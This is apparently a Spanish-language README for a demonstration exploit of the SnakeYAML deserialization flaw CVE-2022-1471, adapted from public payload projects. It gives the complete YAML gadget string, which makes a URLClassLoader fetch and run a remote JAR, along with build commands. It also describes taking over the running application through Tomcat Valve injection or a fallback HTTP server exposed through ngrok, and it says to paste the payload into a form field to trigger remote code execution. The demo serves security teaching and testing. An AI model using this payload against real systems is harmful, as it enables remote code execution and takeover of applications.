
SnakeYAML CVE-2022-1471 exploit payload para demo
Un payload de explotación de deserialización SnakeYAML para CVE-2022-1471, adaptado de artsploit/yaml-payload (originalmente basado en mbechler/marshalsec).
Cuando se carga a través del inseguro Yaml.load() de SnakeYAML, este payload toma el control de la aplicación en ejecución y la reemplaza con una página "Has sido PWNED":
Si la inyección de Tomcat Valve no está disponible (por ejemplo, aplicación no Spring), recurre a iniciar un servidor HTTP independiente en el puerto 9999 y crea automáticamente un túnel ngrok si ngrok está en ejecución.
Esto funciona tanto localmente en macOS como en pipelines de CI/CD (por ejemplo, GitHub Actions en Ubuntu).
El payload de SnakeYAML activa ScriptEngineManager a través del SPI de Java (Interfaz de Proveedor de Servicios):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL apuntando al yaml-payload.jar de este repositorioURLClassLoader para cargar clases remotasScriptEngineManager descubre y carga AwesomeScriptEngineFactory a través de META-INF/services/javax.script.ScriptEngineFactory/ con la página PWNEDRequiere JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Utilizado como payload de explotación en el proyecto maven-demo. Pegue la cadena del payload en el campo de nombre de la aplicación para desencadenar RCE. La página de la aplicación será reemplazada por la página PWNED en la siguiente solicitud. Consulte el README de ese repositorio para obtener instrucciones completas de la demostración.